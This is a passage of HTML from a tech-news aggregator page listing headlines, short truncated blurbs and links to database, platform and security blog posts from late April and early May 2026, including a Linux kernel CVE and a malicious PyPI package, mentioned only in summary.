              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/suse-responds-to-the-copy-fail-vulnerability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python" class="group relative scroll-mt-24">
        <a href="#h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 lightning PyPI Compromise: A Bun-Based Credential Stealer in Python
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A malicious release of the lightning PyPI package ships a credential-stealing Bun payload that runs on import. Snyk has a live advisory. Here&#39;s what&#39;s in the package, what to rotate, and how the paylo</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/lightning-pypi-compromise-bun-based-credential-stealer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nats-server-214-release" class="group relative scroll-mt-24">
        <a href="#h3-nats-server-214-release" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 NATS Server 2.14 Release
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nats-server-214-release"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When we released NATS Server 2.12 back in September, we reflected on the need for shorter and more routine release cycles. While we slipped slightly beyond the intended six months due to increased act</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 NATS Blog</strong></p>
<p><a href="https://nats.io/blog/nats-server-2.14-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26" class="group relative scroll-mt-24">
        <a href="#h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The founder’s AI foundation: The top announcements for startups from Next ‘26
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The momentum is undeniable: the world’s fastest-growing AI startups are building with Google Cloud. Instead of stitching together fragmented point solutions, founders are building their businesses her</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/startups/the-top-startup-announcement-from-next26/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pgque-v01-zero-bloat-postgres-queue" class="group relative scroll-mt-24">
        <a href="#h3-pgque-v01-zero-bloat-postgres-queue" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PgQue v0.1 - Zero-bloat Postgres queue
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgque-v01-zero-bloat-postgres-queue"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>PgQue v0.1 has been released. PgQue is a zero-bloat Postgres event/message queue implemented in pure SQL and PL/pgSQL. It brings the PgQ architecture, originally developed at Skype, to modern Postgres</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgque-v01-zero-bloat-postgres-queue-3284/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How We Built mem9: Lessons From Shipping Persistent Memory for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In early March 2026, a customer asked us for something that sounded simple and turned out to be one of the hardest problems in the agent stack: Make agents remember. We did not start with a polished r</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/how-we-built-mem9-agent-memory-product/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB Vector Search Benchmark: 10M Vectors on a Compact Cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Even a small, compact setup achieved up to 12,840 QPS at k=10 with a serial P99 latency of 5.5 ms</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/01/vector-search-10m-benchmark/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next" class="group relative scroll-mt-24">
        <a href="#h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When AI Agent Memory Outgrows SQLite: How to Tell, and What to Move to Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Coding agents now run for hours, span multiple tools, and move between machines and sessions. However, the agent memory layer underneath them has not kept up. Most still look the way they did in the f</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-agent-memory-outgrows-sqlite/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-x-cloud-your-questions-answered" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-x-cloud-your-questions-answered" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB X Cloud: Your Questions Answered
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-x-cloud-your-questions-answered"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A technical FAQ on ScyllaDB X Cloud: architecture, autoscaling, compression, use cases, and more It’s been a few months since ScyllaDB X Cloud landed. In case you missed the news, here’s a quick recap</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/30/scylladb-x-cloud-faq/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-active-active-vs-active-passive-database-architecture" class="group relative scroll-mt-24">
        <a href="#h3-active-active-vs-active-passive-database-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Active-Active vs Active-Passive database architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-active-active-vs-active-passive-database-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your database is down. Users are hitting errors, revenue is bleeding, and the on-call engineer is staring at a promotion sequence that&#39;s taking too long. The architecture decision you made six months </p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/active-active-vs-active-passive/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that" class="group relative scroll-mt-24">
        <a href="#h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your AI wants to nuke your database. Guardrails fix that.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An AI agent deleted a customer&#39;s production database on Railway. Here&#39;s what happened, what we&#39;ve shipped to fix it, and the surfaces we&#39;re building so agents can move fast on Railway without breaking</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Railway Blog</strong></p>
<p><a href="https://blog.railway.com/p/your-ai-wants-to-nuke-your-database"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb" class="group relative scroll-mt-24">
        <a href="#h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 6 Reasons ScyllaDB Costs a Fraction of DynamoDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why teams typically experience 50% (or greater) cost reductions when moving from DynamoDB to ScyllaDB</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/28/6-reasons-scylladb-costs-a-fraction-of-dynamodb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success" class="group relative scroll-mt-24">
        <a href="#h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 10 Reasons Cloud Migrations Fail and Key Strategies to Increase Success
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloud migration failures stem largely from misaligned strategies and outdated database architectures. Distributed SQL databases offer a path forward, combining the familiarity of SQL with horizontal s</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/why-cloud-migrations-fail-and-strategies-to-increase-success/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agents-vs-workflows-when-to-use-each" class="group relative scroll-mt-24">
        <a href="#h3-ai-agents-vs-workflows-when-to-use-each" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Agents vs Workflows: When to Use Each
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agents-vs-workflows-when-to-use-each"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Everyone building with LLMs right now is bumping into the same question: should you wire up a predictable, step-by-step workflow, or let an AI agent figure things out on its own? The answer shapes you</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/agents-vs-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-prefill-vs-decode-llm-inference-phases-explained" class="group relative scroll-mt-24">
        <a href="#h3-prefill-vs-decode-llm-inference-phases-explained" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Prefill vs Decode: LLM Inference Phases Explained
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-prefill-vs-decode-llm-inference-phases-explained"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every LLM request runs in two distinct phases: prefill, where the model reads your prompt in one parallel burst, and decode, where it generates the response one token at a time, each one depending on </p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/prefill-vs-decode/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-long-term-memory-architectures-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-long-term-memory-architectures-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Long-Term Memory Architectures for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-long-term-memory-architectures-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most AI agents start every session from scratch. Without persistent memory, they&#39;re stateless responders that reprocess context on every invocation and can&#39;t build continuity across interactions. Long</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/long-term-memory-architectures-ai-agents/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network" class="group relative scroll-mt-24">
        <a href="#h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Code Orange: Fail Small is complete. The result is a stronger Cloudflare network
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We have completed a massive engineering effort to make our infrastructure more resilient. Through new tools like Snapstone and the Engineering Codex, we&#39;ve implemented safer configuration changes and </p>
